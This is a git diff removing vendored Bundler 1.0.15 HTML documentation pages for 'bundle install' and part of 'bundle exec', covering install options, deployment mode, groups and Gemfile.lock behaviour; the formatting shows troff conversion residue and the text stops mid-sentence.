-       If this happens, bundler will say:
-
-           You have already activated json_pure 1.4.6 but your Gemfile
-           requires json_pure 1.4.3. Consider using bundle exec.
-
-       In this situation, you almost certainly want to remove  the  underlying
-       gem  with  the problematic gem plugin. In general, the authors of these
-       plugins (in this case, the gemcutter gem) have released newer  versions
-       that are more careful in their plugins.
-
-       You can find a list of all the gems containing gem plugins by running
-
-           ruby -rubygems -e &quot;puts Gem.find_files('rubygems_plugin.rb')&quot;
-
-       At the very least, you should remove all but the newest version of each
-       gem plugin, and also remove all gem plugins that you aren't using  (gem
-       uninstall gem_name).
-
-                                 January 2011                   BUNDLE-EXEC(1)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-install.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-install.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-install.html
+++ /dev/null
@@ -1,500 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-					<span class="search-toggle"><img src="../../../images/find.png"
-						height="16" width="16" alt="[+]"
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-					<li><a href="../../../Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="../../../Gem.html">Gem</a></li>
-				
-					<li><a href="../../../Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="../../../Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="../../../Gem/Requirement.html">Gem::Requirement</a></li>
-				
-					<li><a href="../../../Gem/Specification.html">Gem::Specification</a></li>
-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<p>
-." generated with Ronn/v0.7.3 ." <a
-href="http://github.com/rtomayko/ronn/tree/0.7.3">github.com/rtomayko/ronn/tree/0.7.3</a>
-. .TH &#8220;BUNDLE-INSTALL&#8221; &#8220;1&#8221; &#8220;May 2011&#8221;
-&#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221; fBbundle-installfR -
-Install the dependencies specified in your Gemfile . .SH
-&#8220;SYNOPSIS&#8221; fBbundle installfR [-\-gemfile=GEMFILE] . .IP
-&#8220;&#8221; 4 . .nf
-</p>
-<pre>
-             [\-\-path PATH] [\-\-system]
-             [\-\-without=GROUP1[ GROUP2\.\.\.]]
-             [\-\-local] [\-\-deployment]
-             [\-\-binstubs[=DIRECTORY]]
-             [\-\-quiet]
-</pre>
-<p>
-. .fi . .IP &#8220;&#8221; 0 . .SH &#8220;DESCRIPTION&#8221; Install the
-gems specified in your Gemfile(5). If this is the first time you run bundle
-install (and a fBGemfile.lockfR does not exist), bundler will fetch all
-remote sources, resolve dependencies and install all needed gems. . .P If a
-fBGemfile.lockfR does exist, and you have not updated your Gemfile(5),
-bundler will fetch all remote sources, but use the dependencies specified
-in the fBGemfile.lockfR instead of resolving dependencies. . .P If a
-fBGemfile.lockfR does exist, and you have updated your Gemfile(5), bundler
-will use the dependencies in the fBGemfile.lockfR for all gems that you did
-not update, but will re-resolve the dependencies of gems that you did
-update. You can find more information about this update process below under
-fICONSERVATIVE UPDATINGfR. . .SH &#8220;OPTIONS&#8221; . .TP
-fB-\-gemfile=<gemfile>fR The location of the Gemfile(5) that bundler should
-use. This defaults to a gemfile in the current working directory. In
-general, bundler will assume that the location of the Gemfile(5) is also
-the project root, and will look for the fBGemfile.lockfR and
-fBvendor/cache\fR relative to it. . .TP fB-\-path=<path>fR The location to
-install the gems in the bundle to. This defaults to the gem home, which is
-the location that fBgem installfR installs gems to. This means that, by
-default, gems installed without a fB-\-pathfR setting will show up in fBgem
-listfR. This setting is a fIremembered optionfR. . .TP fB-\-systemfR
-Installs the gems in the bundle to the system location. This overrides any
-previous fIrememberedfR use of fB-\-pathfR. . .TP fB-\-without=<list>fR A
-space-separated list of groups to skip installing. This is a fIremembered
-optionfR. . .TP fB-\-localfR Do not attempt to connect to fBrubygems.orgfR,
-instead using just the gems located in fBvendor/cache\fR. Note that if a
-more appropriate platform-specific gem exists on fBrubygems.orgfR, this
-will bypass the normal lookup. . .TP fB-\-deploymentfR Switches bundler's
-defaults into fIdeployment modefR. Do not use this flag on development
-machines. . .TP fB-\-binstubs[=<directory>]fR Create a directory (defaults
-to fBbinfR) containing an executable that runs in the context of the
-bundle. For instance, if the fBrailsfR gem comes with a fBrailsfR
-executable, this flag will create a fBbin/rails\fR executable that ensures
-that all dependencies used come from the bundled gems. . .SH
-&#8220;DEPLOYMENT MODE&#8221; Bundler's defaults are optimized for
-development. To switch to defaults optimized for deployment, use the
-fB-\-deploymentfR flag. Do not activate deployment mode on development
-machines, as it will cause in an error when the Gemfile is modified. . .IP
-&#8220;1.&#8221; 4 A fBGemfile.lockfR is required. . .IP To ensure that the
-same versions of the gems you developed with and tested with are also used
-in deployments, a fBGemfile.lockfR is required. . .IP This is mainly to
-ensure that you remember to check your fBGemfile.lockfR into version
-control. . .IP &#8220;2.&#8221; 4 The fBGemfile.lockfR must be up to date .
-.IP In development, you can modify your Gemfile(5) and re-run fBbundle
-installfR to fIconservatively updatefR your fBGemfile.lockfR snapshot. .
-.IP In deployment, your fBGemfile.lockfR should be up-to-date with changes
-made in your Gemfile(5). . .IP &#8220;3.&#8221; 4 Gems are installed to
-fBvendor/bundle\fR not your default system location . .IP In development,
-it's convenient to share the gems used in your application with other
-applications and other scripts run on the system. . .IP In deployment,
-isolation is a more important default. In addition, the user deploying the
-application may not have permission to install gems to the system, or the
-web server may not have permission to read them. . .IP As a result,
-fBbundle install -\-deploymentfR installs gems to the fBvendor/bundle\fR
-directory in the application. This may be overridden using the fB-\-pathfR
-option. . .IP &#8220;&#8221; 0 . .SH &#8220;SUDO USAGE&#8221; By default,
-bundler installs gems to the same location as fBgem installfR. . .P In some
-cases, that location may not be writable by your Unix user. In that case,
-bundler will stage everything in a temporary directory, then ask you for
-your fBsudofR password in order to copy the gems into their system
-location. . .P From your perspective, this is identical to installing them
-gems directly into the system. . .P You should never use fBsudo bundle
-installfR. This is because several other steps in fBbundle installfR must
-be performed as the current user: . .IP &#8220;(bu&#8221; 4 Updating your
-fBGemfile.lockfR . .IP &#8220;(bu&#8221; 4 Updating your fBvendor/cache\fR,
-if necessary . .IP &#8220;(bu&#8221; 4 Checking out private git
-repositories using your user's SSH keys . .IP &#8220;&#8221; 0 . .P Of
-these three, the first two could theoretically be performed by fBchownfRing
-the resulting files to fB$SUDO_USER\fR. The third, however, can only be
-performed by actually invoking the fBgitfR command as the current user.
-Therefore, git gems are downloaded and installed into fB~/.bundlefR rather
-than $GEM_HOME or $BUNDLE_PATH\. . .P As a result, you should run fBbundle
-installfR as the current user, and bundler will ask for your password if it
-is needed to put the gems into their final location. . .SH
-&#8220;INSTALLING GROUPS&#8221; By default, fBbundle installfR will install
-all gems in all groups in your Gemfile(5), except those declared for a
-different platform. . .P However, you can explicitly tell bundler to skip
-installing certain groups with the fB-\-withoutfR option. This option takes
-a space-separated list of groups. . .P While the fB-\-withoutfR option will
-skip fIinstallingfR the gems in the specified groups, it will still
-fIdownloadfR those gems and use them to resolve the dependencies of every
-gem in your Gemfile(5). . .P This is so that installing a different set of
-groups on another machine (such as a production server) will not change the
-gems and versions that you have already developed and tested against. . .P
-fBBundler offers a rock-solid guarantee that the third-party code you are
-running in development and testing is also the third-party code you are
-running in production. You can choose to exclude some of that code in
-different environments, but you will never be caught flat-footed by
-different versions of third-party code being used in different
-environments.\fR . .P For a simple illustration, consider the following
-Gemfile(5): . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;sinatra&#8220;
-</p>
-<p>
-group :production do
-</p>
-<pre>
-  gem &quot;rack\-perftools\-profiler&quot;
-</pre>
-<p>
-end . .fi . .IP &#8220;&#8221; 0 . .P In this case, fBsinatrafR depends on
-any version of Rack (fB>= 1.0fR, while fBrack-perftools-profilerfR depends
-on 1.x (fB~> 1.0fR). . .P When you run fBbundle install -\-without
-productionfR in development, we look at the dependencies of
-fBrack-perftools-profilerfR as well. That way, you do not spend all your
-time developing against Rack 2.0, using new APIs unavailable in Rack 1.x,
-only to have bundler switch to Rack 1.2 when the fBproductionfR group
-fIisfR used. . .P This should not cause any problems in practice, because
-we do not attempt to fBinstallfR the gems in the excluded groups, and only
-evaluate as part of the dependency resolution process. . .P This also means
-that you cannot include different versions of the same gem in different
-groups, because doing so would result in different sets of dependencies
-used in development and production. Because of the vagaries of the
-dependency resolution process, this usually affects more than just the gems
-you list in your Gemfile(5), and can (surprisingly) radically change the
-gems you are using. . .SH &#8220;REMEMBERED OPTIONS&#8221; Some options
-(marked above in the fIOPTIONSfR section) are remembered between calls to
-fBbundle installfR, and by the <a href="../../../Bundler.html">Bundler</a>
-runtime. . .P For instance, if you run fBbundle install -\-without testfR,
-a subsequent call to fBbundle installfR that does not include a
-fB-\-withoutfR flag will remember your previous choice. . .P In addition, a
-call to fBBundler.setupfR will not attempt to make the gems in those groups
-available on the Ruby load path, as they were not installed. . .P The
-settings that are remembered are: . .TP fB-\-deploymentfR At runtime, this
-remembered setting will also result in <a
-href="../../../Bundler.html">Bundler</a> raising an exception if the
-fBGemfile.lockfR is out of date. . .TP fB-\-pathfR Subsequent calls to
-fBbundle installfR will install gems to the directory originally passed to
-fB-\-pathfR. The <a href="../../../Bundler.html">Bundler</a> runtime will
-look for gems in that location. You can revert this option by running
-fBbundle install -\-systemfR. . .TP fB-\-binstubsfR <a
-href="../../../Bundler.html">Bundler</a> will update the executables every
-subsequent call to fBbundle installfR. . .TP fB-\-withoutfR As described
-above, <a href="../../../Bundler.html">Bundler</a> will skip the gems
-specified by fB-\-withoutfR in subsequent calls to fBbundle installfR. The
-<a href="../../../Bundler.html">Bundler</a> runtime will also not try to
-make the gems in the skipped groups available. . .SH &#8220;THE
-GEMFILE.LOCK&#8221; When you run fBbundle installfR, <a
-href="../../../Bundler.html">Bundler</a> will persist the full names and
-versions of all gems that you used (including dependencies of the gems
-specified in the Gemfile(5)) into a file called fBGemfile.lockfR. . .P <a
-href="../../../Bundler.html">Bundler</a> uses this file in all subsequent
-calls to fBbundle installfR, which guarantees that you always use the same
-exact code, even as your application moves across machines. . .P Because of
-the way dependency resolution works, even a seemingly small change (for
-instance, an update to a point-release of a dependency of a gem in your
-Gemfile(5)) can result in radically different gems being needed to satisfy
-all dependencies. . .P As a result, you fBSHOULDfR check your
-fBGemfile.lockfR into version control. If you do not, every machine that
-checks out your repository (including your production server) will resolve
-all dependencies again, which will result in different versions of
-third-party code being used if fBanyfR of the gems in the Gemfile(5) or any
-of their dependencies have been updated. . .SH &#8220;CONSERVATIVE
-UPDATING&#8221; When you make a change to the Gemfile(5) and then run
-fBbundle installfR, <a href="../../../Bundler.html">Bundler</a> will update
-only the gems that you modified. . .P In other words, if a gem that you
-fBdid not modifyfR worked before you called fBbundle installfR, it will
-continue to use the exact same versions of all dependencies as it used
-before the update. . .P Let's take a look at an example. Here's your
-original Gemfile(5): . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;actionpack&#8221;, &#8220;2.3.8&#8221; gem
-&#8220;activemerchant&#8221; . .fi . .IP &#8220;&#8221; 0 . .P In this
-case, both fBactionpackfR and fBactivemerchantfR depend on
-fBactivesupportfR. The fBactionpackfR gem depends on fBactivesupport
-2.3.8fR and fBrack ~> 1.1.0fR, while the fBactivemerchantfR gem depends on
-fBactivesupport >= 2.3.2fR, fBbraintree >= 2.0.0fR, and fBbuilder >=
-2.0.0fR. . .P When the dependencies are first resolved, <a
-href="../../../Bundler.html">Bundler</a> will select fBactivesupport
-2.3.8fR, which satisfies the requirements of both gems in your Gemfile(5).
-. .P Next, you modify your Gemfile(5) to: . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;actionpack&#8221;, &#8220;3.0.0.rc&#8221; gem
-&#8220;activemerchant&#8221; . .fi . .IP &#8220;&#8221; 0 . .P The
-fBactionpack 3.0.0.rcfR gem has a number of new dependencies, and updates
-the fBactivesupportfR dependency to fB= 3.0.0.rcfR and the fBrackfR
-dependency to fB~> 1.2.1fR. . .P When you run fBbundle installfR, <a
-href="../../../Bundler.html">Bundler</a> notices that you changed the
-fBactionpackfR gem, but not the fBactivemerchantfR gem. It evaluates the
-gems currently being used to satisfy its requirements: . .TP
-fBactivesupport 2.3.8fR also used to satisfy a dependency in
-fBactivemerchantfR, which is not being updated . .TP fBrack ~> 1.1.0fR not
-currently being used to satify another dependency . .P Because you did not
-explicitly ask to update fBactivemerchantfR, you would not expect it to
-suddenly stop working after updating fBactionpackfR. However, satisfying
-the new fBactivesupport 3.0.0.rcfR dependency of actionpack requires
-updating one of its dependencies. . .P Even though fBactivemerchantfR
-declares a very loose dependency that theoretically matches fBactivesupport
-3.0.0.rcfR, bundler treats gems in your Gemfile(5) that have not changed as
-an atomic unit together with their dependencies. In this case, the
-fBactivemerchantfR dependency is treated as fBactivemerchant 1.7.1 +
-activesupport 2.3.8fR, so fBbundle installfR will report that it cannot
-update fBactionpackfR. . .P To explicitly update fBactionpackfR, including
-its dependencies which other gems in the Gemfile(5) still depend on, run
-fBbundle update actionpackfR (see fBbundle update(1)fR). . .P fBSummaryfR:
-In general, after making a change to the Gemfile(5) , you should first try
-to run fBbundle installfR, which will guarantee that no other gems in the
-Gemfile(5) are impacted by the change. If that does not work, run bundle
-update(1) fIbundle-update.1.htmlfR.
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-install_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-install_txt.html
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@@ -1,616 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle-install.txt [bundler-1.0.15 Documentation]</title>
-
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-<body class="file">
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-        <h3 class="section-header">
-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
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-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
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-						class="quicksearch-field" />
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-				<ul class="link-list">
-				
-					<li><a href="../../../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../../../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../../../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../../../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../../../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../../../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../../../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../../../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../../../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../../../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../../../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../../../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../../../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../../../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../../../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../../../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../../../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../../../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../../../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
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-				
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-					<li><a href="../../../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../../../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../../../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../../../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
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-					<li><a href="../../../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
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-					<li><a href="../../../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
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-					<li><a href="../../../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
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-					<li><a href="../../../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
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-		<p>
-BUNDLE-INSTALL(1)                                           
-BUNDLE-INSTALL(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-install - Install the dependencies specified in your Gemfile
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle install [--gemfile=GEMFILE]
-
-                        [--path PATH] [--system]
-                        [--without=GROUP1[ GROUP2...]]
-                        [--local] [--deployment]
-                        [--binstubs[=DIRECTORY]]
-                        [--quiet]
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       Install  the  gems  specified  in your Gemfile(5). If this is the first
-       time you run bundle  install  (and  a  Gemfile.lock  does  not  exist),
-       bundler will fetch all remote sources, resolve dependencies and install
-       all needed gems.
-
-       If a Gemfile.lock does exist, and you have not updated your Gemfile(5),
-       bundler  will fetch all remote sources, but use the dependencies speci-
-       fied in the Gemfile.lock instead of resolving dependencies.
-
-       If a Gemfile.lock does exist, and you  have  updated  your  Gemfile(5),
-       bundler will use the dependencies in the Gemfile.lock for all gems that
-       you did not update, but will re-resolve the dependencies of  gems  that
-       you did update. You can find more information about this update process
-       below under CONSERVATIVE UPDATING.
-</pre>
-<p>
-OPTIONS
-</p>
-<pre>
-       --gemfile=&lt;gemfile&gt;
-              The location of the Gemfile(5) that  bundler  should  use.  This
-              defaults  to a gemfile in the current working directory. In gen-
-              eral, bundler will assume that the location of the Gemfile(5) is
-              also  the  project  root, and will look for the Gemfile.lock and
-              vendor/cache relative to it.
-
-       --path=&lt;path&gt;
-              The location to install the gems in the bundle to. This defaults
-              to the gem home, which is the location that gem install installs
-              gems to. This means that, by default, gems installed  without  a
-              --path  setting  will  show  up  in  gem list. This setting is a
-              remembered option.
-
-       --system
-              Installs the gems in the bundle to  the  system  location.  This
-              overrides any previous remembered use of --path.
-
-       --without=&lt;list&gt;
-              A  space-separated  list of groups to skip installing. This is a
-              remembered option.
-
-       --local
-              Do not attempt to connect to rubygems.org,  instead  using  just
-              the  gems located in vendor/cache. Note that if a more appropri-
-              ate platform-specific gem  exists  on  rubygems.org,  this  will
-              bypass the normal lookup.
-
-       --deployment
-              Switches  bundler's  defaults  into  deployment mode. Do not use
-              this flag on development machines.
-
-       --binstubs[=&lt;directory&gt;]
-              Create a directory (defaults to bin)  containing  an  executable
-              that  runs  in  the  context of the bundle. For instance, if the
-              rails gem comes with a rails executable, this flag will create a
-              bin/rails  executable  that  ensures  that all dependencies used
-              come from the bundled gems.
-</pre>
-<p>
-DEPLOYMENT MODE
-</p>
-<pre>
-       Bundler's defaults are optimized for development. To switch to defaults
-       optimized  for  deployment,  use the --deployment flag. Do not activate
-       deployment mode on development machines, as it will cause in  an  error
-       when the Gemfile is modified.
-
-       1.  A Gemfile.lock is required.
-
-           To ensure that the same versions of the gems you developed with and
-           tested with  are  also  used  in  deployments,  a  Gemfile.lock  is
-           required.
-
-           This  is  mainly  to  ensure  that  you remember to check your Gem-
-           file.lock into version control.
-
-       2.  The Gemfile.lock must be up to date
-
-           In development, you can modify your Gemfile(5)  and  re-run  bundle
-           install to conservatively update your Gemfile.lock snapshot.
-
-           In  deployment, your Gemfile.lock should be up-to-date with changes
-           made in your Gemfile(5).
-
-       3.  Gems are installed to vendor/bundle not your default  system  loca-
-           tion
-
-           In  development,  it's  convenient  to  share the gems used in your
-           application with other applications and other scripts  run  on  the
-           system.
-
-           In  deployment, isolation is a more important default. In addition,
-           the user deploying the  application  may  not  have  permission  to
-           install  gems to the system, or the web server may not have permis-
-           sion to read them.
-
-           As a result, bundle install --deployment installs gems to the  ven-
-           dor/bundle  directory  in  the  application. This may be overridden
-           using the --path option.
-</pre>
-<p>
-SUDO USAGE
-</p>
-<pre>
-       By default, bundler installs gems to the same location as gem  install.
-
-       In  some cases, that location may not be writable by your Unix user. In
-       that case, bundler will stage everything in a temporary directory, then
-       ask  you  for  your  sudo password in order to copy the gems into their
-       system location.
-
-       From your perspective,  this  is  identical  to  installing  them  gems
-       directly into the system.
-
-       You should never use sudo bundle install. This is because several other
-       steps in bundle install must be performed as the current user:
-
-       o   Updating your Gemfile.lock
-
-       o   Updating your vendor/cache, if necessary
-
-       o   Checking out private git repositories using your user's SSH keys
-
-       Of these three, the first  two  could  theoretically  be  performed  by
-       chowning  the  resulting  files  to $SUDO_USER. The third, however, can
-       only be performed by actually invoking the git command as  the  current
-       user.  Therefore,  git gems are downloaded and installed into ~/.bundle
-       rather than $GEM_HOME or $BUNDLE_PATH.
-
-       As a result, you should run bundle install as  the  current  user,  and
-       bundler will ask for your password if it is needed to put the gems into
-       their final location.
-</pre>
-<p>
-INSTALLING GROUPS
-</p>
-<pre>
-       By default, bundle install will install all gems in all groups in  your
-       Gemfile(5), except those declared for a different platform.
-
-       However,  you  can  explicitly  tell bundler to skip installing certain
-       groups with the --without option. This option takes  a  space-separated
-       list of groups.
-
-       While  the --without option will skip installing the gems in the speci-
-       fied groups, it will still download those gems and use them to  resolve
-       the dependencies of every gem in your Gemfile(5).
-
-       This is so that installing a different set of groups on another machine
-       (such as a production server) will not change  the  gems  and  versions
-       that you have already developed and tested against.
-
-       Bundler offers a rock-solid guarantee that the third-party code you are
-       running in development and testing is also the third-party code you are
-       running  in  production. You can choose to exclude some of that code in
-       different environments, but you will never  be  caught  flat-footed  by
-       different versions of third-party code being used in different environ-
-       ments.
-
-       For a simple illustration, consider the following Gemfile(5):
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;sinatra&quot;
-
-           group :production do
-             gem &quot;rack-perftools-profiler&quot;
-           end
-
-       In this case, sinatra depends on any version of  Rack  (&gt;=  1.0,  while
-       rack-perftools-profiler depends on 1.x (~&gt; 1.0).
-
-       When  you  run  bundle  install --without production in development, we
-       look at the dependencies of rack-perftools-profiler as well. That  way,
-       you  do  not spend all your time developing against Rack 2.0, using new
-       APIs unavailable in Rack 1.x, only to have bundler switch to  Rack  1.2
-       when the production group is used.
-
-       This  should  not  cause  any  problems  in practice, because we do not
-       attempt to install the gems in the excluded groups, and  only  evaluate
-       as part of the dependency resolution process.
-
-       This  also means that you cannot include different versions of the same
-       gem in different groups, because doing so  would  result  in  different
-       sets of dependencies used in development and production. Because of the
-       vagaries of the dependency resolution  process,  this  usually  affects
-       more  than just the gems you list in your Gemfile(5), and can (surpris-
-       ingly) radically change the gems you are using.
-</pre>
-<p>
-REMEMBERED OPTIONS
-</p>
-<pre>
-       Some options (marked above  in  the  OPTIONS  section)  are  remembered
-       between calls to bundle install, and by the Bundler runtime.
-
-       For  instance,  if  you run bundle install --without test, a subsequent
-       call to bundle install that does not  include  a  --without  flag  will
-       remember your previous choice.
-
-       In  addition, a call to Bundler.setup will not attempt to make the gems
-       in those groups available on the Ruby  load  path,  as  they  were  not
-       installed.
-
-       The settings that are remembered are:
-
-       --deployment
-              At  runtime, this remembered setting will also result in Bundler
-              raising an exception if the Gemfile.lock is out of date.
-
-       --path Subsequent calls to bundle install  will  install  gems  to  the
-              directory  originally passed to --path. The Bundler runtime will
-              look for gems in that location. You can revert  this  option  by
-              running bundle install --system.
-
-       --binstubs
-              Bundler  will  update  the  executables every subsequent call to
-              bundle install.
-
-       --without
-              As described above, Bundler will  skip  the  gems  specified  by
-              --without  in  subsequent  calls  to bundle install. The Bundler
-              runtime will also not try to make the gems in the skipped groups
-              available.
-</pre>
-<p>
-THE GEMFILE.LOCK
-</p>
-<pre>
-       When  you  run  bundle install, Bundler will persist the full names and
-       versions of all gems that you used (including dependencies of the  gems
-       specified in the Gemfile(5)) into a file called Gemfile.lock.
-
-       Bundler uses this file in all subsequent calls to bundle install, which
-       guarantees that you always use the same exact code, even as your appli-
-       cation moves across machines.
-
-       Because  of the way dependency resolution works, even a seemingly small
-       change (for instance, an update to a point-release of a dependency of a
-       gem  in  your  Gemfile(5)) can result in radically different gems being
-       needed to satisfy all dependencies.
-
-       As a result, you SHOULD check your Gemfile.lock into  version  control.
-       If you do not, every machine that checks out your repository (including
-       your production server) will resolve all dependencies again, which will
-       result  in  different versions of third-party code being used if any of
-       the gems in the Gemfile(5) or  any  of  their  dependencies  have  been
-       updated.
-</pre>
-<p>
-CONSERVATIVE UPDATING
-</p>
-<pre>
-       When  you  make a change to the Gemfile(5) and then run bundle install,
-       Bundler will update only the gems that you modified.
-
-       In other words, if a gem that you did  not  modify  worked  before  you
-       called  bundle install, it will continue to use the exact same versions
-       of all dependencies as it used before the update.
-
-       Let's take a look at an example. Here's your original Gemfile(5):
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;actionpack&quot;, &quot;2.3.8&quot;
-           gem &quot;activemerchant&quot;
-
-       In this case, both actionpack and activemerchant depend  on  activesup-
-       port.  The  actionpack  gem  depends on activesupport 2.3.8 and rack ~&gt;
-       1.1.0, while the activemerchant gem depends on activesupport &gt;=  2.3.2,
-       braintree &gt;= 2.0.0, and builder &gt;= 2.0.0.
-
-       When   the   dependencies  are  first  resolved,  Bundler  will  select
-       activesupport 2.3.8, which satisfies the requirements of both  gems  in
-       your Gemfile(5).
-
-       Next, you modify your Gemfile(5) to:
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;actionpack&quot;, &quot;3.0.0.rc&quot;
-           gem &quot;activemerchant&quot;
-
-       The  actionpack  3.0.0.rc  gem  has  a  number of new dependencies, and
-       updates the activesupport dependency to = 3.0.0.rc and the rack  depen-
-       dency to ~&gt; 1.2.1.
-
-       When  you  run  bundle  install,  Bundler  notices that you changed the
-       actionpack gem, but not the activemerchant gem. It evaluates  the  gems
-       currently being used to satisfy its requirements:
-
-       activesupport 2.3.8
-              also  used  to  satisfy a dependency in activemerchant, which is
-              not being updated
-
-       rack ~&gt; 1.1.0
-              not currently being used to satify another dependency
-
-       Because you did not explicitly ask to update activemerchant, you  would
-       not  expect it to suddenly stop working after updating actionpack. How-
-       ever, satisfying the new activesupport 3.0.0.rc dependency  of  action-
